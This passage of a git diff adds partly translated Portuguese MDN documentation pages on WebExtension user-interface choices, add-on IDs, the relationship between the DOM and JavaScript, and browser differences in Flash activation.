precisam, onde eles precisam</h2> + +<p dir="ltr">Choosing the right way or combination of ways to make your extension's functionality available to the user can have a significant effect on usability. Asking a few simple questions about your extension’s functionality can quickly guide you to the right choices:</p> + +<h3 dir="ltr" id="A_minha_extensão_funciona_na_maioria_dos_sites_da_Web_e_páginas_da_Web">A minha extensão funciona na maioria dos sites da Web e páginas da Web?</h3> + +<p dir="ltr">If your extension provides the user with features they can use on almost every website or page, give the user access to it from a <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Browser_action">toolbar button</a> using the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browser action</a>. This might include providing access to your image editor or opening a page from your website.</p> + +<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/12966/browser-action.png" style="display: block; height: 387px; margin-left: auto; margin-right: auto; width: 782px;"></p> + +<p dir="ltr">Where you have several features you want to give the user access, you can add a <a href="/en-US/Add-ons/WebExtensions/Popups">popup</a> to the button.</p> + +<h3 dir="ltr" id="A_minha_extensão_funciona_apenas_em_alguns_sites_da_Web_e_páginas">A minha extensão funciona apenas em alguns sites da Web e páginas?</h3> + +<p dir="ltr">If your extension offers a feature for a type of web page or specific domains, give the user access to it from an <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">address bar button</a> using a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">page action</a>. This might include providing access to your RSS reader on pages with RSS feeds or providing an extended feature to pages on your website.</p> + +<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/12960/page-action.png" style="display: block; height: 262px; margin-left: auto; margin-right: auto; width: 850px;"></p> + +<p dir="ltr">Where you have several features you want to give the user access, you can add a <a href="/en-US/Add-ons/WebExtensions/Popups">popup</a> to the button.</p> + +<h3 dir="ltr" id="A_minha_extensão_precisa_de_mostrar_informação_ou_oferecer_ações_em_paralelo_com_as_páginas_da_Web">A minha extensão precisa de mostrar informação ou oferecer ações em paralelo com as páginas da Web?</h3> + +<p dir="ltr">If your extension includes information or actions that a user would want immediate access to while viewing any web page, use a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">sidebar</a>. This might include notes the user can make about a page’s content or a feature offering various font substitutions to improve readability.</p> + +<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="display: block; height: 761px; margin-left: auto; margin-right: auto; width: 728px;"></p> + +<h3 dir="ltr" id="A_minha_extensão_oferece_funcionalidade_especifica_para_o_conteúdo_da_página_ou_outras_funcionalidades_do_navegador">A minha extensão oferece funcionalidade especifica para o conteúdo da página ou outras funcionalidades do navegador?</h3> + +<p dir="ltr">If your extension offers features the user might want to access in context, add them to an appropriate <a href="/en-US/Add-ons/WebExtensions/user_interface/Context_menu_items">context menu</a>. This might include offering access to an image editor on the image context menu or offering extended copy features on the context menu for selected page content.</p> + +<p dir="ltr"><img alt="Example of content menu items added by a WebExtension, from the context-menu-demo example" src="https://mdn.mozillademos.org/files/15051/context_menu_example.png" style="display: block; height: 587px; margin-left: auto; margin-right: auto; width: 573px;"></p> + +<h3 dir="ltr" id="A_minha_extensão_tem_definições_que_o_utilizador_pode_ajustar">A minha extensão tem definições que o utilizador pode ajustar?</h3> + +<p dir="ltr">If your extension enables the user to change and save settings that affect the behavior of the extension, use an <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">options page</a> to provide a standard Preferences link to settings from the Add-on Manager.</p> + +<p dir="ltr"><img alt="Typical preferences button, to access an extension's settings, from the Add-on Manager" src="https://mdn.mozillademos.org/files/15271/add-on-manager-preferences-button.png" style="display: block; height: 80px; margin-left: auto; margin-right: auto; width: 732px;"></p> + +<h3 dir="ltr" id="A_minha_extensão_precisa_de_recolher_muita_informação_ou_exibir_conteúdo_em_adição_aos_separadores_atuais">A minha extensão precisa de recolher muita informação ou exibir conteúdo em adição aos separadores atuais?</h3> + +<p dir="ltr">Where your extension needs to gather or display significant amounts of information (more than is suitable for an <a href="/en-US/docs/Web/API/Window/alert">alert</a> or would benefit from additional formatting) use <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Bundled_web_pages">bundled web pages</a> to deliver forms and similar content.</p> + +<p dir="ltr"><img alt="Example of a simple bundled page displayed as a detached panel." src="https://mdn.mozillademos.org/files/15073/bundled_page_as_panel.png" style="display: block; height: 445px; margin-left: auto; margin-right: auto; width: 680px;"></p> + +<h3 dir="ltr" id="A_minha_extensão_tenta_ajudar_o_utilizador_a_entrar_as_páginas_da_Web_ou_conteúdo">A minha extensão tenta ajudar o utilizador a entrar as páginas da Web ou conteúdo?</h3> + +<p dir="ltr">Where your extension includes a use case to locate web pages or content, for example, offering a site specific search, use <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">address bar suggestions</a> to deliver those recommendations.</p> + +<p dir="ltr"><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15075/omnibox_example_full.png" style="display: block; height: 325px; margin-left: auto; margin-right: auto; width: 679px;"></p> + +<h3 dir="ltr" id="A_minha_extensão_oferece_ferramentas_para_os_programadores">A minha extensão oferece ferramentas para os programadores?</h3> + +<p dir="ltr">Where you are providing tools for developers, add them to the Firefox developer tools using <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">developer tools panels</a>.</p> + +<h2 dir="ltr" id="Mantenha_o_utilizador_informado">Mantenha o utilizador informado</h2> + +<p dir="ltr">Ensuring the user knows what will happen, is happening, and has happened in your extension is an essential part of building trust and ensuring a happy user.</p> + +<h3 dir="ltr" id="Diga_ao_utilizador_o_que_irá_acontecer_antes_que_aconteça">Diga ao utilizador o que irá acontecer, antes que aconteça</h3> + +<p dir="ltr">Users should understand what will happen when they click a button. In addition to a meaningful, descriptive button label, provide tooltips that describe the action that the button will perform.</p> + +<div class="note"> +<p dir="ltr">Do not put the name of the extension alone in the tooltip, unless it is descriptive of the action the button will perform.</p> +</div> + +<p dir="ltr">Do not use the tooltip for any other types of information such as elaborate statistics about your extension. Keep the tooltip content simple and focused on what will happen when the user clicks the button.</p> + +<h3 dir="ltr" id="Se_é_realmente_importante_e_o_utilizador_afastou-se_notifique-os">Se é realmente importante e o utilizador afastou-se, notifique-os</h3> + +<p dir="ltr">If your extension has completed a critical, long running background task, when the task completes use the operating system’s native <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">notifications</a> to update the user. This can be useful where the user may not be focusing on the extension, or the browser, when the process finishes. However, use sparingly. If it is sufficient for the user to discover that a process has completed when they return to the browser or extension, do not use notifications.</p> + +<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/14043/notify-shadowed.png" style="display: block; height: 334px; margin-left: auto; margin-right: auto; width: 700px;"></p> + +<h3 dir="ltr" id="Utilizar_browserAction_badges_sparingly">Utilizar browserAction badges sparingly</h3> + +<p dir="ltr">You can <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction/setBadgeText">add a badge</a> over the toolbar icon of a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a>, but do so sparingly to inform users about important events. Do not use them to provide regular or persistent status updates.</p> + +<p dir="ltr">When it comes to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction/setBadgeBackgroundColor">coloring a badge</a>, using one of four colors for notifications of different severity is recommended:</p> + +<ul> + <li>Casual: azul</li> + <li>Sucesso: verde</li> + <li>Aviso: amarelo</li> + <li>Erro: vermelho</li> +</ul> + +<div class="note"> +<p dir="ltr">Use of Firefox colors is suggested, for more details see <a href="http://design.firefox.com/photon/visuals/color.html">Firefox Colors</a>. However, for compatibility with <a href="https://developer.chrome.com/extensions/browserAction#icon">Chrome</a> and Opera free color selection is supported.</p> +</div> + +<h2 dir="ltr" id="Testar_testar_e_depois_testar_novamente">Testar, testar, e depois testar novamente</h2> + +<p dir="ltr">Testing is a vital part of creating an outstanding UX for your extension. There are two key aspects of testing your UX:</p> + +<ol> + <li>Test across devices and platforms to ensure your extension works and performs well in as many places as possible. This includes considering factors such as the user’s screen size and resolution—just because your extension looks good and is easy to use on your desktop monitor does not mean it looks as good and works as well on a smaller laptop screen, or, indeed, vice versa.</li> + <li>Test with as many users as possible. Do not assume that you know your audience, as people’s backgrounds and experience can make a huge difference to how they interact with your extension. So, allow for user testing as part of your extension’s development.</li> +</ol> + +<p dir="ltr">Dicas de teste:</p> + +<ul> + <li>In AMO you have the option to <a href="/en-US/Add-ons/Distribution/Submitting_an_add-on#Listing_on_AMO">identify your extension as experimental</a> or publish a <a href="/en-US/Add-ons/Distribution#Beta_versions">beta or other non-final release</a>. If you flag your extension as experimental it is listed in AMO, so that any user can find it, but with a lower profile. When you are happy that the extension is ready for a wider audience, you can turn off the experimental flag and your extension will be listed as normal in AMO. If you have a published extension, you can use the Development channel to offer an alpha or beta version for testing. You will need to direct your testers to the Development Channel of your extension’s listing or let your testers know the link to use to install your extension.<br> + <img alt="The development channel section of an extension's listing page, offering access to alpha and beta versions for testing." src="https://mdn.mozillademos.org/files/15273/extensions-development-channel.png" style="display: block; height: 262px; margin-left: auto; margin-right: auto; width: 751px;"><br> + When you are happy with your update, you can publish it as the new release version of your extension.</li> + <li>If you want to distribute your extension to users outside AMO, you can find the instructions for doing so, and the installation instructions you need to provide users, in the article on <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons">Sideloading add-ons</a>. Remember that, unlike distribution through AMO, you will need to send users any updated versions of your extension as you make improvements.</li> + <li>Use the <a href="https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a> to test your extension for its behavior on other screen sizes and device types.</li> +</ul> diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html new file mode 100644 index 0000000000..a462a1c02d --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html @@ -0,0 +1,78 @@ +--- +title: Extensões e a Id. do extra +slug: Mozilla/Add-ons/WebExtensions/ExtennsoesWeb_e_a_id_do_extra +tags: + - Extensões da Web + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID +--- +<div>{{AddonSidebar}}</div> + +<div class="summary"> +<p>Os extras do Firefox contêm uma Id. única que é utilziada para distinguir este extra de qualquer outro extra do Firefox.</p> + +<p>Este artigo descreve como as Ids. de extra são tratados para as extensões criadas com APIs WebExtensions.</p> +</div> + +<p>Firefox add-ons contain a unique identifier which is used both inside Firefox itself and on the <a href="https://addons.mozilla.org/">addons.mozilla.org</a> (AMO) website. For example, it's used by Firefox to check for updates to installed add-ons and to identify which objects (such as data stores) are controlled by this add-on.</p> + +<p>With older types of Firefox add-on, the add-on developer must set the add-on ID explicitly. XUL/XPCOM add-ons set the ID in the <a href="/en-US/docs/Mozilla/Add-ons/Install_Manifests">install manifest</a>, while SDK add-ons set it in the <a href="/en-US/docs/Mozilla/Add-ons/SDK/Tools/package_json">package.json</a>.</p> + +<p>However, from Firefox 48 you can develop, debug, publish, and update extensions without needing to set an explicit ID at all.</p> + +<div class="note"> +<p>Note that the ability to develop and debug WebExtensions that don't include an ID is new in Firefox 48. If you need to use an earlier version of Firefox, then you must use the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key to set an ID explicitly.</p> +</div> + +<h2 id="Basic_workflow_with_no_add-on_ID">Basic workflow with no add-on ID</h2> + +<p>Extensions can explicitly set the add-on ID using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key in manifest.json. However, this key is usually optional. If you don't set it, then you can usually develop, debug, publish, and update your extension without ever having to deal with an ID. One advantage of this is that Google Chrome does not recognize the <code>applications</code> key and will show a warning if you include it.</p> + +<p>Note, though, that some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs in Firefox, then you must set the ID explicitly using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key. See <a href="/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_add-on_ID">When do you need an Add-on ID?</a>.</p> + +<h3 id="Developing_and_debugging">Developing and debugging</h3> + +<p>Starting in Firefox 48, if your manifest.json does not contain an ID then the extension will be assigned a randomly-generated temporary ID when you <a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">install it in Firefox</a> through about:debugging. If you then reload the extension using the "Reload" button, the same ID will be used. If you then restart Firefox and load the add-on again, it will get a new ID.</p> + +<p>If you turn the extension into an .xpi or .zip and install it through about:addons, it will not work. To have it work in this scenario, you will need to add in the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key in manifest.json</p> + +<h3 id="Publishing">Publishing</h3> + +<p>Once you have finished developing the extension, you can <a href="/en-US/Add-ons/WebExtensions/Publishing_your_WebExtension">package it and submit it to AMO for review and signing</a>. If the packaged extension you upload does not contain an ID, AMO will generate one for you. It's only at this point that the add-on will be assigned a permanent ID, which will be embedded in the signed packaged extension.</p> + +<p>Note that once an extension has been given a permanent ID, you can't then update it to use the Add-on SDK or legacy XUL/XPCOM techniques. If you do switch to one of these platforms, you must submit it as a distinct new add-on, with a new ID.</p> + +<h3 id="Updating">Updating</h3> + +<p>Even after this point, though, you don't generally have to deal with the ID at all. You can continue to develop the add-on without an ID, and when you want to update, upload the new version by visiting the add-on's AMO page. Because you are uploading the add-on through that page, AMO knows that this is an update to this particular add-on, even though it doesn't contain an ID.</p> + +<div class="note"> +<p>It's essential with this workflow that you update the add-on <em>manually using its page on AMO</em>, otherwise AMO will not understand that the submission is an update to an existing add-on, and will treat the update as a brand-new add-on.</p> +</div> + +<p>You can do the same thing if you are updating from an older add-on type, such as a XUL/XPCOM add-on, to use WebExtensions APIs. Just visit the old add-on's page on AMO, upload the new extension there, and it will be treated as an update to the old version.</p> + +<h2 id="Quando_é_que_precisa_de_uma_Id._de_extra">Quando é que precisa de uma Id. de extra?</h2> + +<ul> + <li>If you are loading the add-on from its XPI file, are not loading it temporarily using about:debugging and it is not signed.</li> + <li>If you use <a href="https://addons-server.readthedocs.io/en/latest/topics/api/signing.html">AMO's API</a> for uploading your add-on, rather than uploading it manually on its page, then you need to include the add-on's ID in the request.</li> + <li>Some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs, then you must set the ID explicitly using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key. This applies to the following APIs: + <ul> + <li>{{WebExtAPIRef("storage.managed")}}</li> + <li>{{WebExtAPIRef("storage.sync")}}</li> + <li>{{WebExtAPIRef("identity.getRedirectURL")}}</li> + <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Native_messaging">Native messaging</a></li> + <li>{{WebExtAPIRef("pkcs11")}}</li> + <li>{{WebExtAPIRef("runtime.onMessageExternal")}}</li> + <li>{{WebExtAPIRef("runtime.onConnectExternal")}}</li> + </ul> + </li> + <li>Using Firefox for Android. See <a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications in manifest.json</a>.</li> +</ul> + +<p> </p> + +<p> </p> + +<p> </p> diff --git a/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html b/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html new file mode 100644 index 0000000000..ba7b45f921 --- /dev/null +++ b/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html @@ -0,0 +1,82 @@ +--- +title: O DOM e o JavaScript +slug: O_DOM_e_o_JavaScript +--- +<h3 id="The_Big_Picture" name="The_Big_Picture">Quadro Geral</h3> + +<p>Efeitos visuais como movimentação de camadas pela página, mostrar e esconder camadas, menus em popup, etc. são normalmente referenciados como "<a href="/en/DHTML" title="en/DHTML">DHTML</a>", ou "HTML Dinâmico". Algumas pessoas questionam a utilização real dessas tecnologias em páginas web que supostamente deveriam lidar com conteúdo e não apresentação. Mas o fato é que estão aqui, hoje.</p> + +<p>Desde que trabalho nesse projeto, e tendo contato com vários webmasters, me impressiona a grande quantidade da comunidade de webdesign que não conhece seus trabalhos DHTML. A maior parte do tempo eles apenas vão até sites de repositório de scripts, e apenas copiam e colam o código em sua própria página web. Infelizmente a maioria desses sites falam sobre "javascript" e "DHTML" e nunca falam sobre "<a href="/en/DOM" title="en/DOM">DOM</a>". É verdade que, mesmo que o DOM seja um conceito antigo, ele faz parte dos "jargões do desenvolvedor web médio" apenas recentemente.</p> + +<p>É um grande desafio para um projeto como a Mozilla convencer os donos desses sites de que vale a pena codificar para o DOM W3C , o que as vezes significa muito trabalho, e falta de suporte em browsers antigos. Também é um grande desafio obter os fatos verdadeiros sobre o suporte ao DOM W3C. O Netscape 6 foi muito criticado por webdesigners estúpidos que estavam codificando seu "JavaScript" para o Netscape 4 e Internet Explorer usando document.layers e document.all. Todos os dias tentamos ajudar pessoas em grupos de notícias, emails pessoais, no Bugzilla, a ter seu site o mais compatível possível. Um dos maiores problemas que encontramos é a confusão entre <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/DHTML" title="en/DHTML">DHTML</a>, e <a href="/en/DOM" title="en/DOM">DOM</a>. Essa é uma tentativa de esclarecer as coisas, e explicar as relações entre essas fantásticas e úteis tecnologias.</p> + +<h3 id="JavaScript.2C_THE_Web_Scripting_Language" name="JavaScript.2C_THE_Web_Scripting_Language">Javascript, A Linguaguem de Script para Web</h3> + +<p><a href="/en/JavaScript" title="en/JavaScript">JavaScript</a> é uma "linguagem de objetos de script" desenvolvida inicialmente na Netscape Communications Corp. por Brendan Eich, que é um dos líderes do projeto Mozilla atualmente. O motor JavaScript utilizado pela Mozilla é o <a href="/en/SpiderMonkey" title="en/SpiderMonkey">SpiderMonkey</a>, que está em conformidade com a especificação do ECMA-262 revisão 3. JavaScript também é conhecido como <a href="/en/ECMAScript" title="en/ECMAScript">ECMAScript</a> (mas veja a página do link para uma explicação detalhada).</p> + +<p>Ao contrário do popular equívoco, Javascript não é "Java Interpretado". Em resumo, Javascript é uma linguagem de script dinâmica com suporte a construção de objetos baseado em protótipo. A sintaxe básica é intencionalmente similar a Java e C++ para reduzir a quantidade de novos conceitos necessários para aprender a linguagem. A grande coisa sobre JavaScript é que ele é extremamente fácil de aprender se você quer fazer programação básica (como as necessárias para DHTML simples). Sem tipos visíveis de variáveis, strings são simples de utilizar, total neutralidade de plataforma, etc. Para codificadores avançados também funciona como linguagem procedural e orientada a objetos.</p> + +<p>Você verá que a maior parte desse parágrafo sobre JavaScript foi retirado da <a class="external" href="http://mozilla.org/js">página de JavaScript da Mozilla</a>. A especificação mais recente do ECMA pode ser encontrada <a class="external" href="http://www.mozilla.org/js/language/">aqui</a>.</p> + +<h3 id="The_Document_Object_Model.2C_a_language-neutral_set_of_interfaces" name="The_Document_Object_Model.2C_a_language-neutral_set_of_interfaces">O Modelo de Objeto de Documento, um conjunto de interfaces neutro de linguagem</h3> + +<p>Enquanto JavaScript é a linguagem de programação que permitirá a você operar os objetos DOM e manipulá-los através de programação, o DOM proverá a você métodos e propriedades para recuperar, modificar, atualizar e remover partes do documento em que você está trabalhando. Por exemplo, você pode recuperar o valor de um controle de input de texto HTML como uma string utilizando o DOM. Então você pode utilizar o operador JavaScript "+" para concatenar essa string com qualquer outra de modo a fazer uma sentença mais compreensível. Você deveria usar o método DOM "alert()" para mostrar a string em uma caixa de diálogo para o usuário. Veja também exemplos abaixo.</p> + +<p>Se uma página Web fosse um pedaço de um móvel importado da Suécia, o DOM seria as ilustrações das partes - as prateleiras, parafusos, chaves Allen e chaves de fenda. É possível escrever instruções de como colocar as partes juntas e utilizá-las em qualquer número de linguagens, mas você só utilizará aquelas que você compreende. O manual faz com que seja fácil montar o móvel utilizando as instruções escritas (JavaScript) para referenciar ilustrações do s objetos (DOM) que representam objetos atuais (motor de renderização do navegador). (Obrigado ao Jonathan pela analogia!)</p> + +<p>O que é essa fama "linguagem-neutra" como DOM? Por que o DOM é uma linguagem neutra se a única linguagem utilizada para acessá-lo é JavaScript? Bem, isso não é completamente correto. Por exemplo, a Mozilla utiliza o DOM internamento tanto em C++ quanto em JavaScript para sua interface de usuário. O editor, por exemplo,utiliza DOM extensivamente de modo a inserir, modificar e remover o HTML que você está vendo quando você constrói a página no modulo Compositor. Outras implementações conhecidas do DOM incluem <a class="external" href="http://users.erols.com/enno/index.html">Perl</a>, <a class="external" href="http://www.docuverse.com/domsdk/index.html">Java</a>, <a class="external" href="http://web.archive.org/web/*/http://www.vivid-creations.com/dom/index.htm">ActiveX</a>, <a class="external" href="http://fourthought.com/4Suite/4DOM">Python</a>, e provavelmente outras. Isso é com certeza possível apenas devido a neutralidade de linguagem do DOM.</p> + +<h3 id="The_DOM_and_JavaScript_-_What_is_doing_what.3F" name="The_DOM_and_JavaScript_-_What_is_doing_what.3F">O DOM e o JavaScript - O que está fazendo o que?</h3> + +<p>Chegamos ao ponto principal desse documento. O que está fazendo o que? Em um script que embuti em minha página web, o que é o DOM e o que é o JavaScript? Vamos olhar um pouco mais de perto para um simples exemplo. Ele irá recuperar todas as tags <span class="nowiki"><a></span> em uma NodeList que chamamos de "<code>anchorTags</code>". Então para cada tag de âncora (cada elemento da NodeList <code>anchorTags</code>), ele vai mostrar um alert como valor do atributo "href" da tag.</p> + +<p>Azul é para JavaScript. Vermelho para DOM.</p> + +<pre class="eval"><span class="highlightblue">var anchorTags = <span class="highlightred">document.getElementsByTagName("a")</span>; +for (var i = 0; i < <span class="highlightred">anchorTags.length</span> ; i++) +{ + <span class="highlightred">alert</span>("Href desse elemento a é : " + <span class="highlightred">anchorTags[i].href</span> + "\n"); +}</span> +</pre> + +<h4 id="Explanations" name="Explanations">Explicações</h4> + +<p>Esse fragmento de código mostra o que é JavaScript puro, e o que é DOM.</p> + +<dl> + <dt><span class="highlightblue">var anchorTags =</span></dt> + <dd>Isso irá criar a variável JavaScript chamada "<code>anchorTags</code>".</dd> + <dt><span class="highlightred">document.getElementsByTagName("a")</span></dt> + <dd>A interface <code>Document</code> é a primeira interface definida no DOM1 Core, e <code>document</code> é um hospedeiro de objeto implementando a interface <code>Document</code>. O documento armazena tudo que está em sua página.<br> + O DOM1 Core define o método <code>getElementsByTagName()</code> na inteface <code>Document</code>. Ele recupera uma NodeList (uma espécie de array específico do DOM que armazena nós) de todas as tags que coincidem com o parâmetro passado para a função, em ordem de ocorrência no documento fonte. A variável <code>anchorTags</code> agora é um NodeList.</dd> + <dt><span class="highlightblue">;</span></dt> + <dd>O básico ponto e vírgula de fim de instrução. Coisa do JavaScript.</dd> + <dt><span class="highlightblue">for (var i = 0; i <</span></dt> + <dd>Uma típica repetição "for" de uma linguagem de programação. Isso permite ir através de cada nó contido no NodeList <code>anchorTags</code>. Note a declaração da variável "<code>i</code>". Também JavaScript.</dd> + <dt><span class="highlightred">anchorTags.length</span></dt> + <dd>O DOM1 Core define a propriedade <code>length</code> da interface <code>NodeList</code>. Isso retorna um inteiro que é o número de nós contidos no NodeList. Note que arrays JavaScript também possuem uma <a href="/en/JavaScript/Reference/Global_Objects/Array/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/length">priedade </a><a href="/en/JavaScript/Reference/Global_Objects/Array/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/length"><code>length</code></a>.</dd> + <dt><span class="highlightblue">; i++) {</span></dt> + <dd>Típico incremento de 1 em variável JavaScript.</dd> + <dt><span class="highlightred">alert(</span></dt> + <dd><code>alert()</code> é um método DOM que faz surgir uma caixa de diálogo com o parâmetro (string) que você passou para ele. Note que isso é parte do chamado DOM nível 0, ou DOM0. DOM0 é um conjunto de interfaces suportada por alguns browsers, mas que não é parte da especificação DOM.</dd> + <dt><span class="highlightblue">"Href desse elemento a é: " +</span></dt> + <dd>Uma string literal e um operador de concatenação de string. JavaScript.</dd> + <dt><span class="highlightred">anchorTags{{ mediawiki.external('i') }}.href</span></dt> + <dd>"<code>href</code>" é uma propriedade da interface <code>HTMLAnchorElement</code> definida na especificação HTML DOM1. Ela reotnra o valor do atributo <code>href</code> do elemento âncora, se existir.<br> + Nós utilizamos <code>anchorTags{{ mediawiki.external('i') }}</code>, a mesma sintaxe que é utilizada em JavaScript para acessar o <code>i</code>-ésimo item de um array. A neutralidade de linguagem "modo DOM" para acessar um item de uma NodeList é utilizar o método <code>item()</code>, definido na interface <code>NodeList</code>: <code>anchorTags.item(1).href</code>. Mas a maioria das implementações JavaScript permite utilizar uma sintaxe mais simples semelhante a de array, e essa é que as pessoas mais utilizam realmente.</dd> + <dt><span class="highlightblue">+ "\n");</span></dt> + <dd>Mais concatenação de string. Insere um retorno de linha ao fim da string.</dd> + <dt><span class="highlightblue">}</span></dt> + <dd>Fim do laço de repetição "for".</dd> +</dl> + +<div class="originaldocinfo"> +<p><strong>Original Document Information</strong></p> + +<ul> + <li>Author(s): Fabian Guisset <fguisset at softhome dot net></li> + <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li> +</ul> +</div> + +<p>{{ languages( { "fr": "fr/Le_DOM_et_JavaScript", "ja": "ja/The_DOM_and_JavaScript", "pl": "pl/DOM_i_JavaScript", "zh-cn": "cn/The_DOM_and_JavaScript", "pt": "pt/O_DOM_e_o_JavaScript" } ) }}</p> diff --git a/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html b/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html new file mode 100644 index 0000000000..e804f3a3f9 --- /dev/null +++ b/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html @@ -0,0 +1,146 @@ +--- +title: 'Ativação de Flash: Comparação de Navegador' +slug: 'Plugins/Ativacao_de_Flash:_comparacao_de_navegador' +tags: + - Como + - Flash + - Principiante + - compatibilidade de navegador +translation_of: 'Plugins/Flash_Activation:_Browser_Comparison' +--- +<p>Cada um dos principais navegadores implementou uma funcionalidade onde o conteúdo do Adobe Flash não é executado por predefinição, mas cada um dos navegadores implementou essa funcionalidade e a interface do utilizador de maneiras ligeiramente diferentes. Este guia irá ajudar a descrever as semelhanças e as diferenças entre os navegadores, para que os programadores da Web possam oferecer a melhor experiência ao utilizador. Está disponível outro guia para assistir os autores do site da Web em <a href="/pt-PT/docs/Plugins/Flash_para_HTML5">migrating away from Flash</a>.</p> + +<p>In each browser, the decision to enable Flash is made by users on a per-site basis. When a site attempts to use Flash, the browser will prompt the user in some way and give the user an opportunity to enable Flash for that site. Flash-blocking extensions are no longer necessary because this functionality is now built into the browser.</p> + +<table class="fullwidth-table"> + <thead> + <tr> + <td> </td> + <th scope="col">Mozilla Firefox</th> + <th scope="col">Google Chrome</th> + <th scope="col">Microsoft Edge</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">Setting Name</th> + <td>Ask to activate</td> + <td>HTML5 by default</td> + <td>Click-to-run</td> + </tr> + <tr> + <th scope="row">'application/x-shockwave-flash' in navigator.mimeTypes by default when Flash is inactive</th> + <td>yes</td> + <td>no</td> + <td>no</td> + </tr> + <tr> + <th scope="row">'application/x-shockwave-flash' in navigator.mimeTypes when user enables Flash</th> + <td>yes</td> + <td>yes</td> + <td>yes</td> + </tr> + <tr> + <th scope="row"><object> with fallback content triggers UI</th> + <td>yes, with exceptions</td> + <td>no</td> + <td>yes</td> + </tr> + <tr> + <th scope="row">small/hidden Flash triggers additional UI</th> + <td>yes</td> + <td>no</td> + <td>no</td> + </tr> + <tr> + <th scope="row">Enabling Flash automatically reloads the page</th> + <td>no</td> + <td>yes</td> + <td>yes</td> + </tr> + <tr> + <th scope="row">Other features related to Flash</th> + <td><a href="/en-US/docs/Plugins/Blocking_By_Domain">Domain Blocking</a></td> + <td><a href="https://sites.google.com/a/chromium.org/dev/flash-roadmap#TOC-Plugin-Power-Savings-Mode-Shipped:-Chrome-42---Sept-2015-">Plugin Power Saver</a></td> + <td><a href="https://blogs.windows.com/msedgedev/2016/04/07/putting-users-in-control-of-flash/#fLGW6bYgr4BpSHIr.97">Peripheral Content Pause</a></td> + </tr> + </tbody> +</table> + +<p>Each of the browser vendors has a roadmap about the future of Flash and changes to the user experience. The <a href="/en-US/docs/Plugins/Roadmap">Firefox Flash roadmap</a> includes links to roadmaps and posts from other vendors.</p> + +<h2 id="Caomparação_da_IU">Caomparação da IU</h2> + +<h3 id="Mozilla_Firefox">Mozilla Firefox</h3> + +<p>In-page UI is displayed when the site attempts to use Flash. An icon also appears on the left side of the location bar. The user can click on the Flash object or the location bar icon to activate Flash:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15127/Firefox-flash-inpage.png" style="height: 389px; width: 674px;"></p> + +<p>Users have the choice to allow Flash just for the current session, or to remember their choice:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15131/Firefox-notification.png" style="height: 199px; width: 426px;"></p> + +<h3 id="Google_Chrome">Google Chrome</h3> + +<p>In-page UI is displayed when the site attempts to use Flash without fallback content:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15141/Chrome-flash-inpage.png" style="height: 412px; width: 635px;"></p> + +<p>A user can click the plugin element to show a prompt for allowing Flash:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15161/Chrome-flash-prompt.png" style="height: 182px; width: 516px;"></p> + +<p>If the site provides fallback content for an object element, Chrome will display that content and will not 